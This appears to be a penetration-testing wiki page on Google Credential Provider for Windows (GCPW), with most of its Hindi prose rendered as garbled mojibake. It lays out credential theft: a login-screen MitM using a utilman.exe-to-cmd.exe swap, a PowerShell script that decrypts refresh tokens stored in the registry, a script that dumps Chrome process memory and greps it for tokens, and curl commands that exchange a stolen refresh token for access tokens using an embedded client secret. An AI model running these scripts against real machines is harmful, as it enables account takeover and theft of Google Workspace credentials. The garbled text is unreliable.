Basic Information
рдпрд╣ рдПрдХрд▓ рд╕рд╛рдЗрди-рдСрди рд╣реИ рдЬреЛ Google Workspaces рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреЗ Windows PCs рдореЗрдВ рдЕрдкрдиреЗ Workspace рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдХреБрдЫ рд╕реНрдерд╛рдиреЛрдВ рдкрд░ Google Workspace рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрдХрди рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛ред
Note that Winpeas is capable to detect GCPW , get information about the configuration and even tokens .
GCPW - MitM
рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ GCPW рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Google Workspace рдХреЗ рд╕рд╛рде рд╕рдордиреНрд╡рдпрд┐рдд Windows PC рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ, рддреЛ рдЙрд╕реЗ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдкреВрд░рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдПрдХ OAuth рдХреЛрдб рд▓реМрдЯрд╛рдПрдЧрд╛ рдЬрд┐рд╕реЗ PC рдПрдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рд╡рд┐рдирд┐рдордп рдХрд░реЗрдЧрд╛ рдЬреИрд╕реЗ:
Copy POST /oauth2/v4/token HTTP/2
Host : www.googleapis.com
Content-Length : 311
Content-Type : application/x-www-form-urlencoded
[...headers...]
scope=https: //www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id= 77185425430 .apps.googleusercontent.com
&client_secret=OTJgUOQcT 7 lO 7 GsGZq 2 G 4 IlT
&code= 4 / 0 AVG 7 fiQ 1 NKncRzNrrGjY 5 S 02 wBWBJxV 9 kUNSKvB 1 EnJDCWyDmfZvelqKp 0 zx 8 jRGmR 7 LUw
&device_id=d 5 c 82 f 70-71 ff -48e8-94 db -312e64 c 7354 f
&device_type=chrome
рдирдИ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдЗрд╕реЗ рдЕрдзрд┐рдХ рдкрдардиреАрдп рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛрдбрд╝реА рдЧрдИ рд╣реИрдВред
рдпрд╣ рдПрдХ MitM рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рдерд╛ Proxifier
рдХреЛ PC рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдХреЗ, utilman.exe
рдмрд╛рдЗрдирд░реА рдХреЛ cmd.exe
рдХреЗ рд╕рд╛рде рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдФрд░ Windows рд▓реЙрдЧрд┐рди рдкреГрд╖реНрда рдореЗрдВ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рдлреАрдЪрд░реНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ, рдЬреЛ рдПрдХ CMD рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рд╕реЗ рдЖрдк Proxifier рдХреЛ рд▓реЙрдиреНрдЪ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
QUICK UDP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ Proxifier
рдореЗрдВ рдмреНрд▓реЙрдХ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ рддрд╛рдХрд┐ рдпрд╣ TCP рд╕рдВрдЪрд╛рд░ рдореЗрдВ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рд╣реЛ рдЬрд╛рдП рдФрд░ рдЖрдк рдЗрд╕реЗ рджреЗрдЦ рд╕рдХреЗрдВред
"Serviced and other users" рдореЗрдВ рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рднреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рдФрд░ Windows рдореЗрдВ Burp CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ HKLM:\SOFTWARE\Google\GCPW
рдореЗрдВ enable_verbose_logging = 1
рдФрд░ log_file_path = C:\Public\gcpw.log
рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдХреБрдЫ рд▓реЙрдЧ рд╕реНрдЯреЛрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред
GCPW - рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ
рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ GCPW рдХрд┐рд╕реА рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдХреНрдпрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпрд╛рдБ рдореМрдЬреВрдж рд╣реИрдВ:
Copy # Check process gcpw_extension.exe
if ( Get-Process - Name "gcpw_extension" - ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}
# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if ( Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}
# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if ( Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
In HKCU:\SOFTWARE\Google\Accounts
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдИрдореЗрд▓ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб refresh token рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд▓реЙрдЧрд┐рди рд╣реБрдЖ рд╣реЛред
In HKLM:\SOFTWARE\Google\GCPW\Users
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ domains рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдХрд┐ domains_allowed
рдХреБрдВрдЬреА рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдФрд░ рдЙрдкрдХреБрдВрдЬрд┐рдпреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдИрдореЗрд▓, рдЪрд┐рддреНрд░, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЯреЛрдХрди рдЬреАрд╡рдирдХрд╛рд▓, рдЯреЛрдХрди рд╣реИрдВрдбрд▓... рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
рдЯреЛрдХрди рд╣реИрдВрдбрд▓ рдПрдХ рдЯреЛрдХрди рд╣реИ рдЬреЛ eth.
рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ:
Copy curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience" : "77185425430.apps.googleusercontent.com" ,
"scope" : "https://www.google.com/accounts/OAuthLogin" ,
"expires_in" : 12880152
}
рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдПрдХ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреЗ рдЯреЛрдХрди рд╣реИрдВрдбрд▓ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛рдП:
Copy curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to" : "77185425430.apps.googleusercontent.com" ,
"audience" : "77185425430.apps.googleusercontent.com" ,
"scope" : "https://www.google.com/accounts/OAuthLogin" ,
"expires_in" : 1327,
"access_type" : "offline" ,
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}
Afaik рдпрд╣ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЯреЛрдХрди рд╣реИрдВрдбрд▓ рд╕реЗ рдПрдХ рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рдпрд╛ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдлрд╝рд╛рдЗрд▓ C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse
рдПрдХ json рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ enableDmEnrollment
, enableGcpAutoUpdate
, enableMultiUserLogin
(рдпрджрд┐ Workspace рдХреЗ рдХрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) рдФрд░ validityPeriodDays
(рджрд┐рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕реАрдзреЗ Google рдХреЗ рд╕рд╛рде рдлрд┐рд░ рд╕реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА)ред
GCPW - рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
GCPW - рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди
рд░рдЬрд┐рд╕реНрдЯреНрд░реА HKCU:\SOFTWARE\Google\Accounts
рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рдЦрд╛рддреЛрдВ рдХреЛ refresh_token
рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рдзрд┐ ProtectedData.Unprotect
рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреА рд╣реИред
Get HKCU:\SOFTWARE\Google\Accounts
data and decrypt refresh_tokens```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
Get all values within the current key
$registryKey = Get-Item -Path $keyPath $foundToken = $false
Loop through properties to find refresh_token
foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {
Get the raw bytes of the refresh_token from the registry
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property
Decrypt the bytes using ProtectedData.Unprotect
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }
Recursively process all subkeys
Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }
Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
Copy </details>
рдЙрджрд╛рд╣рд░рдг рдЖрдЙрдЯ:
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
Copy
</div>
рдЬреИрд╕рд╛ рдХрд┐ [**рдЗрд╕ рд╡реАрдбрд┐рдпреЛ**](https://www.youtube.com/watch?v=FEQxHRRP_5I) рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдЖрдк рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдЯреЛрдХрди рдирд╣реАрдВ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** рд╕реЗ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд (рдпрд╛ рд╣рдЯрд╛рдиреЗ) рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рддрдХ рдкрд╣реБрдВрдЪрддрд╛ рд╣реИ, рддреЛ рдЙрд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдФрд░ **рдЯреЛрдХрди рдкрд┐рдЫрд▓реЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдЧрд╛**ред
### GCPW - рдбрд┐рд╕реНрдХ рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди
рдлрд╛рдЗрд▓ **`%LocalAppData%\Google\Chrome\User Data\Local State`** рдореЗрдВ **`refresh_tokens`** рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдВрдЬреА рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ **Google Chrome рдкреНрд░реЛрдлрд╛рдЗрд▓** рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
рдЗрди рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЙрдирдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рд░реВрдк рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреБрдЫ **C# рдХреЛрдб** рдХреЛ [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ рдХреЛ рдЗрд╕ рдХреЛрдб рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ AESGCM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреЛрдХрди рдПрдХ **рд╕рдВрд╕реНрдХрд░рдг** (**`v10`** рдЗрд╕ рд╕рдордп) рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдлрд┐рд░ рдЗрд╕рдореЗрдВ [**12B рдХрд╛ рдиреЙрдирд╕**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕рдореЗрдВ **рд╕рд╛рдЗрдлрд░-рдЯреЗрдХреНрд╕реНрдЯ** рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдВрддрд┐рдо **mac 16B** рд╣реЛрддрд╛ рд╣реИред
### GCPW - рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рд╕реЗ рдЯреЛрдХрди рдбрдВрдк рдХрд░рдирд╛
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ **Chrome** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **dump** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, `procdump` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, **рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕** рдХреЛ рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдлрд┐рд░ **access рдФрд░ refresh tokens** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд▓рд┐рдП **рдЦреЛрдЬреЗрдВ**ред рдпрджрд┐ Chrome рдХрд┐рд╕реА Google рд╕рд╛рдЗрдЯ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ, рддреЛ рдХреБрдЫ **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдореЛрд░реА рдореЗрдВ рд░рд┐рдлреНрд░реЗрд╢ рдФрд░/рдпрд╛ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд░рд╣реА рд╣реЛрдЧреА!**
<details>
<summary>Chrome рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрдВрдк рдХрд░реЗрдВ рдФрд░ рдЯреЛрдХрди рдЦреЛрдЬреЗрдВ</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
рдореИрдВрдиреЗ gcpw_extension.exe
рдХреЗ рд╕рд╛рде рд╡рд╣реА рдХреЛрд╢рд┐рд╢ рдХреА рд▓реЗрдХрд┐рди рдпрд╣ рдХреЛрдИ рдЯреЛрдХрди рдирд╣реАрдВ рдорд┐рд▓рд╛ред
рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ, рдХреБрдЫ рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреБрдЫ рд╣реЛрдВрдЧреЗ) ред рдореИрдВрдиреЗ рдбрдВрдк рд╕реЗ рдорд╛рдиреНрдп рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 1-1 рдХрд░рдХреЗ рдЕрдХреНрд╖рд░ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ред рдпрд╣ рдореБрдЭреЗ рдХрднреА рднреА рдорд╛рдиреНрдп рдЯреЛрдХрди рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдирд╣реАрдВ рдорд┐рд▓реА, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ 1-1 рдХрд░рдХреЗ рд╣рдЯрд╛рдХрд░```bash #!/bin/bash
Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"
Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"
Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
Make the request and capture the response
response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
Copy </details>
### GCPW - рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛
рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЗрд╕реЗ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдИрдбреА рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реАрдХреНрд░реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
